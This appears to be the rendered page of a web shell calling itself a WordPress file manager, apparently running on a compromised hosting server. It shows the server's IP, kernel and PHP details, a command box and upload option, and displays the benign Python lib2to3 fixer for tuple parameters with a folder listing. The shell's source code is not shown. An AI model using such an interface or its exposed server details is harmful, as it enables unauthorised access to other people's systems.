GRAYBYTE WORDPRESS FILE MANAGER8425

Server IP : 198.54.121.189 / Your IP : 216.73.216.34
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /lib64/python3.8/lib2to3/fixes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib64/python3.8/lib2to3/fixes//fix_tuple_params.py
"""Fixer for function definitions with tuple parameters.

def func(((a, b), c), d):
    ...

    ->

def func(x, d):
    ((a, b), c) = x
    ...

It will also support lambdas:

    lambda (x, y): x + y -> lambda t: t[0] + t[1]

    # The parens are a syntax error in Python 3
    lambda (x): x + y -> lambda x: x + y
"""
# Author: Collin Winter

# Local imports
from .. import pytree
from ..pgen2 import token
from .. import fixer_base
from ..fixer_util import Assign, Name, Newline, Number, Subscript, syms

def is_docstring(stmt):
    return isinstance(stmt, pytree.Node) and \
           stmt.children[0].type == token.STRING

class FixTupleParams(fixer_base.BaseFix):
    run_order = 4 #use a lower order since lambda is part of other
                  #patterns
    BM_compatible = True

    PATTERN = """
              funcdef< 'def' any parameters< '(' args=any ')' >
                       ['->' any] ':' suite=any+ >
              |
              lambda=
              lambdef< 'lambda' args=vfpdef< '(' inner=any ')' >
                       ':' body=any
              >
              """

    def transform(self, node, results):
        if "lambda" in results:
            return self.transform_lambda(node, results)

        new_lines = []
        suite = results["suite"]
        args = results["args"]
        # This crap is so "def foo(...): x = 5; y = 7" is handled correctly.
        # TODO(cwinter): suite-cleanup
        if suite[0].children[1].type == token.INDENT:
            start = 2
            indent = suite[0].children[1].value
            end = Newline()
        else:
            start = 0
            indent = "; "
            end = pytree.Leaf(token.INDENT, "")

        # We need access to self for new_name(), and making this a method
        #  doesn't feel right. Closing over self and new_lines makes the
        #  code below cleaner.
        def handle_tuple(tuple_arg, add_prefix=False):
            n = Name(self.new_name())
            arg = tuple_arg.clone()
            arg.prefix = ""
            stmt = Assign(arg, n.clone())
            if add_prefix:
                n.prefix = " "
            tuple_arg.replace(n)
            new_lines.append(pytree.Node(syms.simple_stmt,
                                         [stmt, end.clone()]))

        if args.type == syms.tfpdef:
            handle_tuple(args)
        elif args.type == syms.typedargslist:
            for i, arg in enumerate(args.children):
                if arg.type == syms.tfpdef:
                    # Without add_prefix, the emitted code is correct,
                    #  just ugly.
                    handle_tuple(arg, add_prefix=(i > 0))

        if not new_lines:
            return

        # This isn't strictly necessary, but it plays nicely with other fixers.
        # TODO(cwinter) get rid of this when children becomes a smart list
        for line in new_lines:
            line.parent = suite[0]

        # TODO(cwinter) suite-cleanup
        after = start
        if start == 0:
            new_lines[0].prefix = " "
        elif is_docstring(suite[0].children[start]):
            new_lines[0].prefix = indent
            after = start + 1

        for line in new_lines:
            line.parent = suite[0]
        suite[0].children[after:after] = new_lines
        for i in range(after+1, after+len(new_lines)+1):
            suite[0].children[i].prefix = indent
        suite[0].changed()

    def transform_lambda(self, node, results):
        args = results["args"]
        body = results["body"]
        inner = simplify_args(results["inner"])

        # Replace lambda ((((x)))): x  with lambda x: x
        if inner.type == token.NAME:
            inner = inner.clone()
            inner.prefix = " "
            args.replace(inner)
            return

        params = find_params(args)
        to_index = map_to_index(params)
        tup_name = self.new_name(tuple_name(params))

        new_param = Name(tup_name, prefix=" ")
        args.replace(new_param.clone())
        for n in body.post_order():
            if n.type == token.NAME and n.value in to_index:
                subscripts = [c.clone() for c in to_index[n.value]]
                new = pytree.Node(syms.power,
                                  [new_param.clone()] + subscripts)
                new.prefix = n.prefix
                n.replace(new)


### Helper functions for transform_lambda()

def simplify_args(node):
    if node.type in (syms.vfplist, token.NAME):
        return node
    elif node.type == syms.vfpdef:
        # These look like vfpdef< '(' x ')' > where x is NAME
        # or another vfpdef instance (leading to recursion).
        while node.type == syms.vfpdef:
            node = node.children[1]
        return node
    raise RuntimeError("Received unexpected node %s" % node)

def find_params(node):
    if node.type == syms.vfpdef:
        return find_params(node.children[1])
    elif node.type == token.NAME:
        return node.value
    return [find_params(c) for c in node.children if c.type != token.COMMA]

def map_to_index(param_list, prefix=[], d=None):
    if d is None:
        d = {}
    for i, obj in enumerate(param_list):
        trailer = [Subscript(Number(str(i)))]
        if isinstance(obj, list):
            map_to_index(obj, trailer, d=d)
        else:
            d[obj] = prefix + trailer
    return d

def tuple_name(param_list):
    l = []
    for obj in param_list:
        if isinstance(obj, list):
            l.append(tuple_name(obj))
        else:
            l.append(obj)
    return "_".join(l)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:45:16
root / root
0755
__pycache__
--
March 05 2024 23:45:16
root / root
0755
__init__.py
0.046 KB
June 06 2023 13:32:21
root / root
0644
fix_apply.py
2.291 KB
June 06 2023 13:32:21
root / root
0644
fix_asserts.py
0.961 KB
June 06 2023 13:32:21
root / root
0644
fix_basestring.py
0.313 KB
June 06 2023 13:32:21
root / root
0644
fix_buffer.py
0.576 KB
June 06 2023 13:32:21
root / root
0644
fix_dict.py
3.672 KB
June 06 2023 13:32:21
root / root
0644
fix_except.py
3.266 KB
June 06 2023 13:32:21
root / root
0644
fix_exec.py
0.956 KB
June 06 2023 13:32:21
root / root
0644
fix_execfile.py
2 KB
June 06 2023 13:32:21
root / root
0644
fix_exitfunc.py
2.437 KB
June 06 2023 13:32:21
root / root
0644
fix_filter.py
2.7 KB
June 06 2023 13:32:21
root / root
0644
fix_funcattrs.py
0.629 KB
June 06 2023 13:32:21
root / root
0644
fix_future.py
0.534 KB
June 06 2023 13:32:21
root / root
0644
fix_getcwdu.py
0.44 KB
June 06 2023 13:32:21
root / root
0644
fix_has_key.py
3.121 KB
June 06 2023 13:32:21
root / root
0644
fix_idioms.py
4.762 KB
June 06 2023 13:32:21
root / root
0644
fix_import.py
3.18 KB
June 06 2023 13:32:21
root / root
0644
fix_imports.py
5.551 KB
June 06 2023 13:32:21
root / root
0644
fix_imports2.py
0.282 KB
June 06 2023 13:32:21
root / root
0644
fix_input.py
0.691 KB
June 06 2023 13:32:21
root / root
0644
fix_intern.py
1.117 KB
June 06 2023 13:32:21
root / root
0644
fix_isinstance.py
1.57 KB
June 06 2023 13:32:21
root / root
0644
fix_itertools.py
1.512 KB
June 06 2023 13:32:21
root / root
0644
fix_itertools_imports.py
2.037 KB
June 06 2023 13:32:21
root / root
0644
fix_long.py
0.465 KB
June 06 2023 13:32:21
root / root
0644
fix_map.py
3.555 KB
June 06 2023 13:32:21
root / root
0644
fix_metaclass.py
8.004 KB
June 06 2023 13:32:21
root / root
0644
fix_methodattrs.py
0.592 KB
June 06 2023 13:32:21
root / root
0644
fix_ne.py
0.558 KB
June 06 2023 13:32:21
root / root
0644
fix_next.py
3.1 KB
June 06 2023 13:32:21
root / root
0644
fix_nonzero.py
0.577 KB
June 06 2023 13:32:21
root / root
0644
fix_numliterals.py
0.75 KB
June 06 2023 13:32:21
root / root
0644
fix_operator.py
3.346 KB
June 06 2023 13:32:21
root / root
0644
fix_paren.py
1.198 KB
June 06 2023 13:32:21
root / root
0644
fix_print.py
2.777 KB
June 06 2023 13:32:21
root / root
0644
fix_raise.py
2.857 KB
June 06 2023 13:32:21
root / root
0644
fix_raw_input.py
0.443 KB
June 06 2023 13:32:21
root / root
0644
fix_reduce.py
0.817 KB
June 06 2023 13:32:21
root / root
0644
fix_reload.py
1.056 KB
June 06 2023 13:32:21
root / root
0644
fix_renames.py
2.169 KB
June 06 2023 13:32:21
root / root
0644
fix_repr.py
0.599 KB
June 06 2023 13:32:21
root / root
0644
fix_set_literal.py
1.657 KB
June 06 2023 13:32:21
root / root
0644
fix_standarderror.py
0.438 KB
June 06 2023 13:32:21
root / root
0644
fix_sys_exc.py
1.01 KB
June 06 2023 13:32:21
root / root
0644
fix_throw.py
1.545 KB
June 06 2023 13:32:21
root / root
0644
fix_tuple_params.py
5.435 KB
June 06 2023 13:32:21
root / root
0644
fix_types.py
1.732 KB
June 06 2023 13:32:21
root / root
0644
fix_unicode.py
1.227 KB
June 06 2023 13:32:21
root / root
0644
fix_urllib.py
8.157 KB
June 06 2023 13:32:21
root / root
0644
fix_ws_comma.py
1.064 KB
June 06 2023 13:32:21
root / root
0644
fix_xrange.py
2.631 KB
June 06 2023 13:32:21
root / root
0644
fix_xreadlines.py
0.673 KB
June 06 2023 13:32:21
root / root
0644
fix_zip.py
1.259 KB
June 06 2023 13:32:21
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF